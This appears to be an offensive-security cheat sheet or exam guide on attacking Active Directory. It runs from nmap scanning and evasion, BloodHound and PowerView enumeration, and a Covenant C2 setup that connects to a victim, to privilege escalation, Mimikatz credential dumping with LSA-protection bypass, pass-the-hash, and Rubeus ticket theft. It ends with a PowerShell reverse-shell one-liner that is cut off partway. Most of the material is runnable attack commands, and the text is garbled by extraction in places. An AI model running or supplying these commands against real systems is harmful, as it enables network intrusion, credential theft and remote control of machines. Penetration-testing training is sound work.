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CYBER

PUBLIC
SCHOOL

Active Directory
Reconnaissance

Active R econnaissance Nmap

Ping Sweep
nmap -sP 192.168.1.0/24 -oN scan-alive-hosts.txt
nmap -sP 192.168.1.1,5,100,150 -oN scan-alive-hosts.txt

G eneral S cans for a host


Default script, All ports, Version + OS Discovery, TCP scan nmap -sC -A -T4 -oN nmap-tcp-
initial.txt 192.168.1.1 -p-

UDP S can:
nmap -sU --top-ports 100 -oN nmap-udp-initial.txt 192.168.1.1

Scan a Single Target


nmap [target]

Scan Multiple Targets nmap [target1, target2, etc] Scan a List of Targets
nmap -iL [list.txt]

Scan a Range of Hosts


nmap [range of IP addresses]

Scan an Entire Subnet nmap [ip address/cdir] Scan Random Hosts nmap -iR [number]

Exclude Targets Using a List


nmap [targets] --excludefile [list.txt]

P erform an Aggresive S can


nmap -A [target] Scan an IPv6 Target nmap -6 [target]
Port Scanning Options Perform a Fast Scan nmap -F [target]

Scan Specific Ports


nmap -p [port(s)] [target]

Scan Ports by Name


nmap -p [port name(s)] [target]

Scan Ports by Protocol


nmap -sU -sT -p U:[ports],T:[ports] [target]

Scan All Ports


nmap -p 1-65535 [target]

Scan Top Ports


nmap --top-ports [number] [target]

Perform a Sequential Port Scan nmap -r [target]


Attempt to G uess an Unknown OS

nmap -O --osscan-guess [target] Service Version Detection nmap -sV [target]

Troubleshoot Version Scan


nmap -sV --version-trace [target]
Perform a R P C Scan nmap -sR [target]
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Active
Discovery Options
Host The -p switch determines the type of ping to perform.

Nmap Switch Description

-PI ICMP ping

-Po No ping

-PS SYN ping

-PT TCP ping

Perform a Ping Only Scan


nmap -sn [target] Do Not Ping nmap -Pn [target] TCP SYN Ping nmap -PS [target] TCP ACK Ping nmap -PA
[target]
UDP Ping
nmap -PU [target]
SCTP INIT Ping
nmap -PY [target] ICMP Echo Ping nmap -PE [target]
ICMP Timestamp Ping
nmap -PP [target]
ICMP Address Mask Ping
nmap -PM [target] IP Protocol Ping nmap -PO [target]
ARP ping
nmap -PR [target]
Traceroute
nmap --traceroute [target] Force Reverse DNS Resolution nmap -R [target]
Disable Reverse DNS Resolution
nmap -n [target] Alternative DNS Lookup nmap --system-dns [target]
Manually Specify DNS Server
Can specify a single server or multiple. nmap --dns-servers [servers] [target]

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Exam Info
Create a Host List
nmap -sL [targets]
Port Specification and Scan Order

Nmap Switch Description

Service/Version Detection

Nmap Switch Description

-sV Enumerates software versions

Script Scan

Nmap Switch Description

-sC Run all default scripts

OS Detection

Nmap Switch Description

Timing and Performance

The -t switch determines the speed and stealth performed .

Nmap Switch Description

-T0 Serial, slowest scan

-T1 Serial, slow scan

-T2 Serial, normal speed scan

-T3 Parallel, normal speed scan

-T4 Parallel, fast scan

Not specifying a T value will default to -T3, or normal speed.

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Exam Info
Firewall Evasion Techniques
Firewall/IDS Evasion and Spoofing

Nmap Switch Description

ragment Packets
nmap -f [target]

Specify a Specific MTU


nmap --mtu [MTU] [target]

Use a Decoy
nmap -D RND:[number] [target]

Idle Zombie Scan


nmap -sI [zombie] [target]

Manually Specify a Source Port


nmap --source-port [port] [target]

Append Random Data


nmap --data-length [size] [target]

Randomize Target Scan Order


nmap --randomize-hosts [target]

Spoof MAC Address


nmap --spoof-mac [MAC|0|vendor] [target]

Send Bad Checksums


nmap --badsum [target]

Advanced Scanning Functions TCP SYN Scan


nmap -sS [target] TCP Connect Scan nmap -sT [target]

UDP Scan
nmap -sU [target]

TCP NULL Scan


nmap -sN [target]

TCP FIN Scan


nmap -sF [target]

Xmas Scan
nmap -sA [target] TCP ACK Scan nmap -sA [target]

Custom TCP Scan


nmap --scanflags [flags] [target]

IP Protocol Scan
nmap -sO [target]

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Send Raw Ethernet Packets
nmap --send-eth [target]
Send IP Packets
nmap --send-ip [target]
Timing Options Timing Templates nmap -T[0-5] [target]
Set the Packet TTL
nmap --ttl [time] [target]
Minimum NUmber of Parallel Operations
nmap --min-parallelism [number] [target]
Maximum Number of Parallel Operations
nmap --max-parallelism [number] [target]
Minimum Host Group Size
nmap --min-hostgroup [number] [targets]
Maximum Host Group Size
nmap --max-hostgroup [number] [targets]
Maximum RTT Timeout
nmap --initial-rtt-timeout [time] [target]
Initial RTT Timeout
nmap --max-rtt-timeout [TTL] [target]
Maximum Number of Retries
nmap --max-retries [number] [target]
Host Timeout
nmap --host-timeout [time] [target]
Host Timeout
nmap --host-timeout [time] [target]
Minimum Scan Delay
nmap --scan-delay [time] [target]
Maxmimum Scan Delay
nmap --max-scan-delay [time] [target]
Minimum Packet Rate
nmap --min-rate [number] [target]
Maximum Packet Rate
nmap --max-rate [number] [target]
Defeat Reset Rate Limits
nmap --defeat-rst-ratelimit [target]

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Shellshock
nmap <ip> -p 80,443 --script=http-shellshock --script-args uri=/cgi-bin/xx.cgi
GitHub - mubix/shellshocker-pocs: Collection of Proof of Concepts and Potential Targets for #ShellShocker

DNS Zone Transfer


dig @<dns_server> <domain_name> -t AXFR +nocookie Massscan
https://github.com/robertdavidgraham/masscan
GitHub - robertdavidgraham/masscan: TCP port scanner, spews SYN packets asynchronously, scanning
entire Internet in under 5 minutes.
GitHub
Build for doing large scale but fast scanning
Metasploit Scanning Modules scanner/portscan
post/windows/gather/arp_scanner RHOST=<ip_range> To use a session as a route:
post/multi/manage/autoroute

Searchsploit
Find known exploit. Usage:
searchsploit <keyword> To copy the exploit script:
searchsploit <EDB-ID> -m <Output_Location>

To run ADRecon on a domain member host. PS C:\> .\ADRecon.ps1


To run ADRecon on a domain member host as a different user.
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username> To run ADRecon
on a non-member host using LDAP.
PS C:\>.\ADRecon.ps1 -Protocol LDAP -DomainController <IP or FQDN> -Credential
<domain\username>
To run ADRecon with specific modules on a non-member host with RSAT. (Default OutputType is STDOUT
with -Collect parameter)
PS C:\>.\ADRecon.ps1 -Protocol ADWS -DomainController <IP or FQDN> -Credential
<domain\username> -Collect Domain, DomainControllers
To generate the ADRecon-Report.xlsx based on ADRecon output (CSV Files).
PS C:\>.\ADRecon.ps1 -GenExcel C:\ADRecon-Report-<timestamp>
When you run ADRecon, a ADRecon-Report-<timestamp> folder will be created which will contain
ADRecon-Report.xlsx and CSV-Folder with the raw files.
https://github.com/sense-of-security/ADRecon

https://github.com/outflanknl/Recon-AD

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Exam Info
Using BloodHound

• Use the correct collector


• AzureHound for Azure Active Directory
• SharpHound for local Active Directory
• use AzureHound
• # require: Install-Module -name Az -AllowClobber
• # require: Install-Module -name AzureADPreview -AllowClobber
• Connect-AzureAD
• Connect-AzAccount
• . .\AzureHound.ps1 Invoke-AzureHound
• use BloodHound
• # run the collector on the machine using SharpHound.exe
• #
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/Shar pHound.exe
• # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
• .\SharpHound.exe -c all -d active.htb --searchforest
• .\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default
• .\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers
(more stealthy)
• .\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword
<Password> --JSONFolder <PathToFile>
• .\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword
<Password> --domaincontroller 10.10.10.100 -d active.htb
• .\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp -- randomizefilenames --
prettyjson --nosavecache --encryptzip -- collectallproperties --throttle 10000 --jitter 23
• or run the collector on the machine using Powershell
• #

https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/Shar pHound.ps1
• # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
• Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
• Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass
<Password> -OutputDirectory <PathToFile>
• # or remotely via BloodHound Python
• # https://github.com/fox-it/BloodHound.py
• pip install bloodhound
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c
all
• Collect more data for certificates exploitation using Certipy
• certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
• certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -
username user@domain -password Password123
Then import the zip/json files into the Neo4J database and query them.
root@payload$ apt install bloodhound

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# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e
NEO4J_AUTH=neo4j/bloodhound neo4j
root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
You can add some custom queries like :
• Bloodhound-Custom-Queries from @hausec

• BloodHoundQueries from CompassSecurity

• BloodHound Custom Queries from Exegol - @ShutdownRepo


• Certipy BloodHound Custom Queries from ly4k

Replace the customqueries.json file located


at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\
AppData\Roaming\BloodHound\customqueries.json.

Using PowerView

• Get Current Domain: Get-NetDomain


• Enum Other Domains: Get-NetDomain -Domain <DomainName>
• Get Domain SID: Get-DomainSID
• Get Domain Policy:
• Get-DomainPolicy

• #Will show us the policy configurations of the Domain about system access or
kerberos
• (Get-DomainPolicy)."system access"
• (Get-DomainPolicy)."kerberos policy"
• Get Domain Controlers:
• Get-NetDomainController
• Get-NetDomainController -Domain <DomainName>
• Enumerate Domain Users:
• Get-NetUser
• Get-NetUser -SamAccountName <user>
• Get-NetUser | select cn
• Get-UserProperty

• #Check last password change


• Get-UserProperty -Properties pwdlastset

• #Get a spesific "string" on a user's attribute


• Find-UserField -SearchField Description -SearchTerm "wtver"

• #Enumerate user logged on a machine


• Get-NetLoggedon -ComputerName <ComputerName>

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Exam Info
• #Enumerate Session Information for a machine
• G et-NetS ession -C omputerName <C omputerName>

•#Enumerate domain machines of the current/specified domain where specific


users are logged into
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName,
SessionFromName
• Enum Domain C omputers:
• Get-NetComputer -FullData
• Get-DomainGroup

• #Enumerate Live machines


Get-NetComputer -Ping
• Enum Groups and Group Members:
• G et-NetG roupMember -GroupName "<G roupName>" -Domain <DomainName>

• #Enumerate the members of a specified group of the domain


• Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty
Member

• #Returns all GPOs in a domain that modify local group memberships through
Restricted Groups or Group Policy Preferences
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
• Enumerate Shares
• #Enumerate Domain Shares
• Find-DomainShare

•#Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
• Enum Group Policies:
• Get-NetGPO

• #Shows active Policy on specified machine
• G et-NetG PO -C omputerName <Name of the P C >
• Get-NetGPOGroup

• #G et users that are part of a Machine's local Admin group
Find-G P OC omputerAdmin -C omputerName <C omputerName>
• Enum OUs:
• Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
• Enum ACLs:
• #Returns the ACLs associated with the specified account
• Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
• Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose

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Exam Info
Search for interesting ACEs
• Invoke-ACLScanner -ResolveGUIDs

•#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"
• Enum Domain Trust:
• Get-NetDomainTrust
Get-NetDomainTrust -Domain <DomainName>
• Enum Forest Trust:
• Get-NetForestDomain
• Get-NetForestDomain Forest <ForestName>

• #Domains of Forest Enumeration
• Get-NetForestDomain
• Get-NetForestDomain Forest <ForestName>

• #Map the Trust of the Forest
• Get-NetForestTrust
Get-NetDomainTrust -Forest <ForestName>
• User Hunting:
• #Finds all machines on the current domain where the current user has local
admin access
• Find-LocalAdminAccess -Verbose

• #Find local admins on all machines of the domain:
• Invoke-EnumerateLocalAdmin -Verbose

• #Find computers were a Domain Admin OR a specified user has a session
• Invoke-UserHunter
• Invoke-UserHunter -GroupName "RDPUsers"
• Invoke-UserHunter -Stealth

• #Confirming admin access:
Invoke-UserHunter –CheckAccess

❗ Priv Esc to Domain Admin with User Hunting:


I have local admin access on a machine -> A Domain Admin has a session on that
machine -> I steal his token and impersonate him ->
Profi

https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

Using AD Module

• Get Current Domain: Get-ADDomain

• Enum Other Domains: Get-ADDomain -Identity <Domain>

• Get Domain SID: Get-DomainSID

• Get Domain Controlers:

• Get-ADDomainController

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Exam Info
Get-ADDomainController -Identity <DomainName>
• Enumerate Domain Users:
• Get-ADUser -Filter * -Identity <user> -Properties *

• #Get a spesific "string" on a user's attribute
Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name,
Description
• Enum Domain Computers:
•Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter *
• Enum Domain Trust:
• Get-ADTrust -Filter *
Get-ADTrust -Identity <DomainName>
• Enum Forest Trust:
• Get-ADForest
• Get-ADForest -Identity <ForestName>

•#Domains of Forest Enumeration
(Get-ADForest).Domains
• Enum Local AppLocker Effective Policy:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Other Interesting Commands
• Find Domain Controllers
• nslookup domain.com
• nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com
• nltest /dclist:domain.com
• Get-ADDomainController -filter * | Select-Object name
• gpresult /r
•$Env:LOGONSERVER
echo %LOGONSERVER%

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Exam Info
Initial Access

https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web- access-
remote- shell

https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office

https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and- digitalocean
https://www.ired.team/offensive-security/code-execution The Hitchhiker’s Guide To Initial Access
How To: Empire’s Cross Platform Office Macro Phishing with PowerPoint

PHISHING WITH EMPIRE

Bash Bunny

OWASP Presentation of Social Engineering - OWASP

USB Drop Attacks: The Danger of “Lost And Found” Thumb Drives
Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter - Defcon 24
Cobalt Strike - Spear Phishing documentation
Cobalt Strike Blog - What's the go-to phishing technique or exploit? Spear phishing with Cobalt Strike -
Raphael Mudge

EMAIL RECONNAISSANCE AND PHISHING TEMPLATE GENERATION MADE SIMPLE

Phishing for access

Excel macros with PowerShell

PowerPoint and Custom Actions

Macro-less Code Exec in MSWord

Multi-Platform Macro Phishing Payloads

Abusing Microsoft Word Features for Phishing: “subDoc”

Phishing Against Protected View

POWERSHELL EMPIRE STAGERS 1: PHISHING WITH AN OFFICE MACRO AND EVADING AVS

The PlugBot: Hardware Botnet Research Project

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Exam Info

Luckystrike: An Evil Office Document Generator

The Absurdly Underestimated Dangers of CSV Injection

Macroless DOC malware that avoids detection with Yara rule Phishing between the app whitelists
Executing Metasploit & Empire Payloads from MS Office Document Properties (part 1 of 2)
Executing Metasploit & Empire Payloads from MS Office Document Properties (part 2 of 2) Social
Engineer Portal

7 Best social Engineering attack

Using Social Engineering Tactics For Big Data Espionage - RSA Conference Europe 2012

USING THE DDE ATTACK WITH POWERSHELL EMPIRE

Phishing on Twitter - POT


Microsoft Office – NTLM Hashes via Frameset Defense-In-Depth write-up

Spear Phishing 101

https://0x1.gitlab.io/pentesting/Red-Teaming-Toolkit/

Covenant C2 Setup

https://captainroot.com/blog/getting-started-with-covenant-c2-in-kali-linux/

https://michaelkoczwara.medium.com/covenant-c2-quick-setup-on-windows-
296a0d400de2

How to Install Covenant on Kali Linux


This is a quick walkthrough on installing Covenant Command &
Control (C&C) framework on Kali Linux. I tested this on Kali
2020.3. but this should work for later version updates as well.
Let’s get started.
Covenant has a nicely written installation and setup page over
here: https://github.com/cobbr/Covenant/wiki/Installation-And-
Startup

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Exam Info
..but I hope to summarise what’s needed to get it up and running on Kali Linux in this post.

First, you need to download the .NET Core framework for Linux. At the time of writing thelatest
version was 3.1. You can find the latest *recommended* release over here:

Download .NET Core (Linux, macOS, and Windows)

Official .NET Core downloads for Linux, macOS, and Windows. .NET Core is a cross-
platform
version of .NET, for building…

dotnet.microsoft.com

I have a 64bit Kali linux. I’ve read some recommendations mentioning to use 64bit bit instead of 32bit
Kali when installing Covenant. I downloaded the 64bit version of the .NET SDK packagefrom the .
NET Core 3.1 download page. Screenshot below

Once the tar.gz file is downloaded on to my Kali host, I pretty much followed the instructionsfrom
Here- to extract it and set the relevant environment variables. I’ve detailed the steps I took below
for clarity.

Go ahead and run the following to extract the tar.gz file:

mkdir -p $HOME/dotnet && tar zxf dotnet-sdk-3.1.403-linux-x64.tar.gz -C $HOME/dotnet

The above command will extract the contents to your $HOME/dotnet folder as confirmedbelow:

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Now set the environment variables required with the following commands:export

DOTNET_ROOT=$HOME/dotnet

export PATH=$PATH:$HOME/dotnet

And you are done setting up the .NET Core framework needed for Covenant. Now, lets moveon to
installing Covenant itself.

I installed Covenant under my ~/tools folder, so feel free to change the location as you need:

cd ~/toolsgit clone --recurse-submodules https://github.com/cobbr/Covenant


The above will download Covenant from Github repository. It will use up about 141Mb ofspace.
Once downloaded:

cd Covenant/Covenant
donet build

Running the above command will start building the Covenant project. It built successfully, youshould
get a message like this:

Now you are ready to run Covenant:


dotnet run
This will start the Covenant web service on TCP port 7443. You can check this via anotherterminal
by running:

# netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0
0.0.0.0:7443 0.0.0.0:* LISTEN 1650543/Covenant
Now, open up a web browser and point to port 7443 of your Kali host. For example, if your Kalihost IP is
192.168.1.10 you should be trying https://192.168.1.10:7443 , as an example.

You will get a certificate warning, which you can safely ignore for now and proceed, which willredirect
you to /covenantuser/login path. If everything has gone well so far, this should take you to the
Covenant initial user registration page as shown below:

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Prove a username and password to register an account. Make sure you remember thispassword
or save it securely somewhere.
Once logged in, you will be taken to the /home/index path where the Covenant dashboard willbe
displayed to you as shown below:

https://dian-pentest.medium.com/install-covenant-on-kali-linux-c0350804648d

Covenant Attack – AD
https://www.youtube.com/watch?v=6C8tzKb3kEQ

https://infosecwriteups.com/hack-the-box-sauna-write-up-w-covenant-c2-
c2d71141c90b

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Creating Listener

Before we can use the Covenant for red teaming activity, the first thing we need to setup is Listener.
Basically covenant Listener is same as the usual listener we have used like netcat ormeterpreter. In
covenant, stager is called as Grunt. We will talk about it in the next section below. First of all, create
the listener at listener menu.

Creating First Listener

 Name: Identifier name for the listener, default is generated value but you can set it asyou like

 BindAddress: The ip address listener will bind to

 BindPort: The port listener will bind to

 ConnectAddress & ConnectPort: Address and port that will be used as connect backfor the stager.

 HttpProfile: You can leave it default

After we create the listener, it will show in listeners list. For example, I create listener withname
First-Listener and type is HTTP.

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Listener

Start the listener we’ve created before and it will show you the new information in listener like
the figure below

Start Listener

We can double-check to make sure if listener is successfully active using this command interminal:

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 13691/Covenant

tcp 0 0 0.0.0.0:7443 0.0.0.0:* LISTEN 13691/Covenant

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Launcher

Launchers are all in one payload delivery feature that generate, host, and download
binaries/script to launch new Grunts

Covenant Launcher
Here is explanation from Covenant wiki:
 Binary — The Binary launcher is used to generate custom binaries that launch a Grunt.This is
currently the only launcher that does not rely on a system binary.

 ShellCode — The ShellCode launcher converts a Grunt binary to ShellCode usingDonut.

 PowerShell — The PowerShell launcher is used to generate PowerShell code and/or a


PowerShell one-liner that launches a Grunt using powershell.exe.

 MSBuild — The MSBuild launcher is used to generate an MSBuild XML file that
launches a Grunt using msbuild.exe.
 InstallUtil — The InstallUtil launcher is used to generate an InstallUtil XML file thatlaunches
a Grunt using installutil.exe.

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 Mshta — The Mshta launcher is used to generate an HTA file and/or a mshta one-linerthat
launches a Grunt using mshta.exe that relies on DotNetToJScript.

 Regsvr32 — The Regsvr32 launcher is used to generate an SCT file and/or regsvr32one-liner
that launches a Grunt using regsvr32.exe that relies on DotNetToJScript.
 Wmic — The Wmic launcher is used to generate an xsl file and/or wmic one-liner thatlaunches a
Grunt using wmic.exethat relies on DotNetToJScript.

Cscript — The Cscript launcher is used to generate a JScript file a Gruntusing
cscript.exe that relies on DotNetToJScript.
 Wscript — The Wscript launcher is used to generate a JScript file a Gruntusing
wscript.exe that relies on DotNetToJScript.

For this article, I will use Powershell Launcher as the example. Don’t forget to disable windows
defender or bypass the AMSI first(it will be discuss later).

Creating Launcher

Create PowerShellLauncher

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Choose and customize with your own environment. I suggest that you choose GruntHTTP forthe
implant template. After that, click generate and it will generate a launcher and encoded launcher
for our need.

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Generated launcher
Testing Launcher
We need to test our launcher in our windows box to see how the payload and communicationwork.
Open command prompt and paste the generated launcher.

Powershell launcher

Grunt new connection

As we can see from above picture, our launcher is successfully connect to listener in grunt. Thisis what
look like in grunts

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Grunt information
We can interact with the victim machine using covenant interact feature in grunt

Grunt interaction
Covenant also support GUI file browser

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Grunt file browser

I think that’s all for the getting started article about Covenant C2. Will talk about the more
covenant feature in the next article.

If you like this article, please share it and feedback are always welcome.
Reference:
https://posts.specterops.io/entering-a-covenant-net-command-and-control-
e11038bcf462
https://petruknisme.medium.com/getting-started-with-covenant-c2-for-red-
teaming- 8eeb94273b52 https://github.com/active-
labs/ACTIVEBlog/blob/master/Red%20Team%20Infrastructure%20-
%20C2/Red%20Team%20Infrastructure%20-%20C2.md
Local Privilege Escalation

 Windows Privilege Escalation CheatSheet Cheat Sheet for Windows Local PrivilegeEscalations
Juicy Potato Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System
Impersonation

Works only until Windows Server 2016 and Windows 10 until patch 1803

 Lovely Potato Automated Juicy Potato

i Works only until Windows Server 2016 and Windows 10 until patch 1803

 PrintSpoofer Exploit the PrinterBug for System Impersonation

l:ßWorksfor Windows Server 2019 and Windows 10

 RoguePotato Upgraded Juicy Potato

Works for Windows Server 2019 and Windows 10

 Abusing Token Privileges

 SMBGhost CVE-2020-0796 PoC


 CVE-2021-36934 (HiveNightmare/SeriousSAM)
Useful Local Priv Esc Tools

 PowerUp Misconfiguration Abuse

 BeRoot General Priv Esc Enumeration Tool

 Privesc General Priv Esc Enumeration Tool

 FullPowers Restore A Service Account's Privileges

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Exam Info
Lateral Movement
PowerShell Remoting
#Enable PowerShell Remoting on current Machine (Needs Admin Access)

Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)


$sess = New-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>

Remote Code Execution with PS Credentials


$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>',
$SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}
Import a PowerShell Module and Execute its Functions Remotely
#Execute the command and start a session

Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath


c:\FilePath\file.ps1 -Session $sess

#Interact with the session Enter-


PSSession -Session $sess
Executing Remote Stateful commands
#Create a new session

$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session


Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive sessionInvoke-


Command -Session $sess -ScriptBlock {$ps}
Mimikatz
#The commands are in cobalt strike format!

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Exam Info
#Dump LSASS:

mimikatz privilege::debug

mimikatz token::elevate
mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash


mimikatz privilege::debug

mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

#List all available kerberos tickets in memory


mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials

mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file


mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys


mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys

mimikatz sekurlsa::ekeys

#Dump SAM Database


mimikatz lsadump::sam

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Exam Info
#Dump SECRETS Database

mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials

mimikatz privilege::debug
mimikatz token::elevate mimikatz
lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#List and Dump local kerberos credentials

mimikatz kerberos::list /dump

#Pass The Ticket

mimikatz kerberos::ptt <PathToKirbiFile>

#List TS/RDP sessions


mimikatz ts::sessions

#List Vault credentials


mimikatz vault::list

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Exam Info
❗ What if mimikatz fails to dump credentials because of LSA Protection controls ?

 LSA as a Protected Process (Kernel Land Bypass)

 #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is setto 0x1

 reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

 #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your
mimikatz.exe

 #Now lets import the mimidriver.sys to the system

 mimikatz # !+

 #Now lets remove the protection flags from lsass.exe process

 mimikatz # !processprotect /process:lsass.exe /remove


#Finally run the logonpasswords function to dump lsassmimikatz
# sekurlsa::logonpasswords

 LSA as a Protected Process (Userland "Fileless" Bypass)

o PPLdump

o Bypassing LSA Protection in Userland

 LSA is running as virtualized process (LSAISO) by Credential Guard

 #Check if a process called lsaiso.exe exists on the running processes

 tasklist |findstr lsaiso

 #If it does there isn't a way tou dump lsass, we will only get encrypted data. But wecan still
use keyloggers or clipboard dumpers to capture data.

 #Lets inject our own malicious Security Support Provider into memory, for thisexample
i'll use the one mimikatz provides

 mimikatz # misc::memssp

#Now every user session and authentication into this machine will get logged and plaintext
credentials will get captured and dumped into c:\windows\system32\mimilsa.log

 Detailed Mimikatz Guide

 Poking Around With 2 lsass Protection Options

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Exam Info
POWERSHELL REMOTING

 Execute commands or scriptblocks

Invoke-Command -Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)

 Execute scripts from files

Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content


<list_of_servers>)

 Execute locally loaded function on the remote machines

Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content


<list_of_servers>)

Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content


<list_of_servers>) -ArgumentList

 A function call within the script is used

Invoke-Command -Filepath C:\path\Get-PassHashes.ps1 -ComputerName (Get-Content


<list_of_servers>)

"Stateful" commands using Invoke-Command

$Sess = New-PSSession -Computername Server1

Invoke-Command -Session $Sess -ScriptBlock {$Proc = Get-Process}

Invoke-Command -Session $Sess -ScriptBlock {$Proc.Name}

 Dump credentials on a local machineInvoke-


Mimikatz -DumpCreds
 Dump credentials on multiple remote machines

Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")


 Over pass the hash

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:lab.domain.local


/ntlm:<ntlmhash> /run:powershell.exe"'
 Invoke Mimikatz to create a token from user

$sess = New-PSSession -ComputerName target.domain.localEnter-


PSSession $sess

# EP BYPASS + AMSI BYPASS

exit
# PUSH LOCAL SCRIPT TO SESSION

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Exam Info
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sessEnter-

PSSession $sess

# DUMPING
Invoke-Mimikatz -Command '"lsadump::lsa /patch“’
FORWARDER
# RULE
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080
connectaddress=10.10.10.10 connectport=8080

# CHECK

netsh interface portproxy show all#


RESET
netsh interface portproxy reset
KERBEROS DOUBLE HOPS - Remote ticket dumping - SMB Lateral Hosting (skill)
 You are logged in to ServerA.

From ServerA, you start a remote PowerShell session to connect to ServerB.

 A command you run on ServerB via your PowerShell Remoting session attempts toaccess a
resource on ServerC.

◆ Access to the resource on ServerC is denied, because the credentials you used to create the
PowerShell Remoting session are not passed from ServerB to ServerC.
◆—Cannot encapsulate multiple psremoting session.

— Delegation not available.

# LOGIN WITH COMPROMISED ACCOUNT

Invoke-Mimikatz -Command '"sekurlsa::pth /user:bob /domain:DOMAIN.LOCAL


/ntlm:00000000000000000000000000000000 /run:powershell.exe"'

# PSREMOTE TO SERVER A

$servera = New-PSSession -ComputerName SERVERA.DOMAIN.LOCALEnter-


PSSession -Session $servera

# PASS CREDENTIAL TO SERVER B


$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force

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Exam Info
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\alice',
$SecPassword)

$serverb = New-PSSession -ComputerName SERVERB.DOMAIN.LOCAL -Credential $Cred


# LIST TICKET IN SERVER C:

Invoke-Command -ScriptBlock { & '\\10.10.10.10\c$\Users\jack\desktop\Rubeus.exe' klist} -


Session $serverb | Select-String -Pattern Username

# DUMP TICKET IN SERVER C:


Invoke-Command -ScriptBlock { & '\\10.10.10.10\c$\Users\jack\desktop\Rubeus.exe' dump
/user:targetadmin} -Session $serverb

# INJECT TICKET IN SERVER B:


Invoke-Command -ScriptBlock {& '\\10.10.10.10\c$\Users\jack\desktop\Rubeus.exe' ptt
/ticket:B64 } -Session $serverb

# CHECK INJECTION:

Invoke-Command -ScriptBlock { ls \\serverc\c$ } -Session $serverb

# RCE ON SERVER C:

Invoke-Command -ScriptBlock {Invoke-Command -ScriptBlock {hostname} -ComputerName


SERVERC.DOMAIN.LOCAL} -Session $serverb

# FINAL REVERSE SHELL IN SERVER A FROM SERVER C


Invoke-Command -ScriptBlock {Invoke-Command -ScriptBlock {$client = New-Object
System.Net.Sockets.TCPClient("servera",8080);$stream = $client.GetStream();[byte[]]$bytes =
0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New- Object -
TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String
